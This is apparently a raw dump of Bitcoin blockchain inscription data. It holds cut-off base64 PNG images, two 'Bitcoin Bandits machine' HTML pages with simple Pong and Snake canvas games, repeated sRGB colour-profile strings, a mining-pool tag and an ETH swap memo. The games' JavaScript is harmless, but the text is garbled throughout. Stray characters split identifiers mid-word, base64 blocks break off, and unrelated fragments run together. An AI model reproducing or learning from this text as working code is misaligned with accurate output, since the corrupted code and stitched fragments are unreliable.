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" class="background"><div class="game"><canvas width="750" height="585" id="gamecanvas"></canvas></div></div></body><script>const canvas=documenM
t.getElementById("gamecanvas");const context=canvas.getContext("2d");const grid=15;const paddleHeight=grid*5;const maxPaddleY=canvas.height-grid-paddleHeight;var paddleSpeed=6;var ballSpeed=5;const leftPaddle={x:grid*2,y:canvas.height/2-paddleHeight/2,width:grid,height:paddleHeight,dy:0};const rightPaddle={x:canvas.width-grid*3,y:canvas.height/2-paddleHeight/2,width:grid,height:paddleHeight,dy:0};const ball={x:canvas.width/2,y:canvas.height/2,width:grid,height:grid,l:false,dx:ballSpeed,dy:-ballSpeed};function colliM
des(l,d){return l.x<d.x+d.width&&l.x+l.width>d.x&&l.y<d.y+d.height&&l.y+l.height>d.y}function loop(){requestAnimationFrame(loop);context.clearRect(0,0,canvas.width,canvas.height);leftPaddle.y+=leftPaddle.dy;rightPaddle.y+=rightPaddle.dy;if(leftPaddle.y<grid){leftPaddle.y=grid}else if(leftPaddle.y>maxPaddleY){leftPaddle.y=maxPaddleY}if(rightPaddle.y<grid){rightPaddle.y=grid}else if(rightPaddle.y>maxPaddleY){rightPaddle.y=maxPaddleY}context.fillStyle="white";context.fillRect(leftPaddle.x,leftPaddle.y,leftPaddle.widthM
,leftPaddle.height);context.fillRect(rightPaddle.x,rightPaddle.y,rightPaddle.width,rightPaddle.height);ball.x+=ball.dx;ball.y+=ball.dy;if(ball.y<grid){ball.y=grid;ball.dy*=-1}else if(ball.y+grid>canvas.height-grid){ball.y=canvas.height-grid*2;ball.dy*=-1}if((ball.x<0||ball.x>canvas.width)&&!ball.l){ball.l=true;setTimeout(()=>{ball.l=false;ball.x=canvas.width/2;ball.y=canvas.height/2},400)}if(collides(ball,leftPaddle)){ball.dx*=-1;ball.x=leftPaddle.x+leftPaddle.width}else if(collides(ball,rightPaddle)){ball.dx*=-1;bM
all.x=rightPaddle.x-ball.width}context.fillRect(ball.x,ball.y,ball.width,ball.height);context.fillStyle="lightgrey";context.fillRect(0,0,canvas.width,grid);context.fillRect(0,canvas.height-grid,canvas.width,canvas.height);for(let l=grid;l<canvas.height-grid;l+=grid*2){context.fillRect(canvas.width/2-grid/2,l,grid,grid)}}document.addEventListener("keydown",function(l){if(l.which===38){rightPaddle.dy=-paddleSpeed}else if(l.which===40){rightPaddle.dy=paddleSpeed}if(l.which===87){leftPaddle.dy=-paddleSpeed}else if(l.whL
ich===83){leftPaddle.dy=paddleSpeed}});document.addEventListener("keyup",function(l){if(l.which===38||l.which===40){rightPaddle.dy=0}if(l.which===83||l.which===87){leftPaddle.dy=0}});requestAnimationFrame(loop);</script></html>h!
CjA=:ETH.ETH:0xEee6eB5C06da56ad1cC464511B2265D351F63691:1140607:te:0
Copyright (c) 1998 Hewlett-Packard Company
IEC http://www.iec.ch
IEC http://www.iec.ch
.IEC 61966-2.1 Default RGB colour space - sRGB
.IEC 61966-2.1 Default RGB colour space - sRGB
,Reference Viewing Condition in IEC61966-2.1
,Reference Viewing Condition in IEC61966-2.1
Copyright (c) 1998 Hewlett-Packard Company
IEC http://www.iec.ch
IEC http://www.iec.ch
.IEC 61966-2.1 Default RGB colour space - sRGB
.IEC 61966-2.1 Default RGB colour space - sRGB
,Reference Viewing Condition in IEC61966-2.1
,Reference Viewing Condition in IEC61966-2.1
c/Foundry USA Pool #dropgold/
text/html;charset=utf-8
<html lang="en"><head><meta charset="UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content=""><title>Bitcoin Bandits machine</title><style>html{height:100%;background:#3b474e}body{height:100%;width:100%;margin:0;display:flex;flex-direction:column;align-items:center}.container{height:100%;position:relative}.background{height:100%}.game{height:20.3vh;width:20.3vh;border:#3b474e;border-width:1px;margin-left:auto;margin-right:auto;left:0;right:0;margin-top:22.7vh;top:0;position:absolM
ute}#gamecanvas{height:100%;width:100%}</style></head><body><div class="container"><img src="data:image/png;base64, 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" class="background"><div class="game"><canvas width="400" height="400" id="gamecanvas"></canvas></div></div></body><script>var canvas=document.getElementById("gamecanvas"),context=canvas.getContext("2d"),grid=16,count=0,snake={x:160,y:160,dx:grid,dy:0,cells:[],k:4},apple={x:320,y:320};function getRandomInt(e,n){return Math.floor(Math.random()*(n-e))+e}function loop(){requestAnimationFM
rame(loop),++count<4||(count=0,context.clearRect(0,0,canvas.width,canvas.height),snake.x+=snake.dx,snake.y+=snake.dy,snake.x<0?snake.x=canvas.width-grid:snake.x>=canvas.width&&(snake.x=0),snake.y<0?snake.y=canvas.height-grid:snake.y>=canvas.height&&(snake.y=0),snake.cells.unshift({x:snake.x,y:snake.y}),snake.cells.length>snake.k&&snake.cells.pop(),context.fillStyle="red",context.fillRect(apple.x,apple.y,grid-1,grid-1),context.fillStyle="green",snake.cells.forEach(function(e,n){context.fillRect(e.x,e.y,grid-1,grid-1M
),e.x===apple.x&&e.y===apple.y&&(snake.k++,apple.x=getRandomInt(0,25)*grid,apple.y=getRandomInt(0,25)*grid);for(var a=n+1;a<snake.cells.length;a++)e.x===snake.cells[a].x&&e.y===snake.cells[a].y&&(snake.x=160,snake.y=160,snake.cells=[],snake.k=4,snake.dx=grid,snake.dy=0,apple.x=getRandomInt(0,25)*grid,apple.y=getRandomInt(0,25)*grid)}))}document.addEventListener("keydown",function(e){37===e.which&&0===snake.dx?(snake.dx=-grid,snake.dy=0):38===e.which&&0===snake.dy?(snake.dy=-grid,snake.dx=0):39===e.which&&0===snake.L
dx?(snake.dx=grid,snake.dy=0):40===e.which&&0===snake.dy&&(snake.dy=grid,snake.dx=0)}),requestAnimationFrame(loop)</script></html>h!
text/html;charset=utf-8
<html lang="en"><head><meta charset="UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content=""><title>Bitcoin Bandits machine</title><style>html{height:100%;background:#3b474e}body{height:100%;width:100%;margin:0;display:flex;flex-direction:column;align-items:center}.container{height:100%;position:relative}.background{height:100%}.game{height:20.3vh;width:20.3vh;border:#3b474e;border-width:1px;margin-left:auto;margin-right:auto;left:0;right:0;margin-top:22.7vh;top:0;position:absolM
ute}#gamecanvas{height:100%;width:100%}</style></head><body><div class="container"><img src="data:image/png;base64, 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
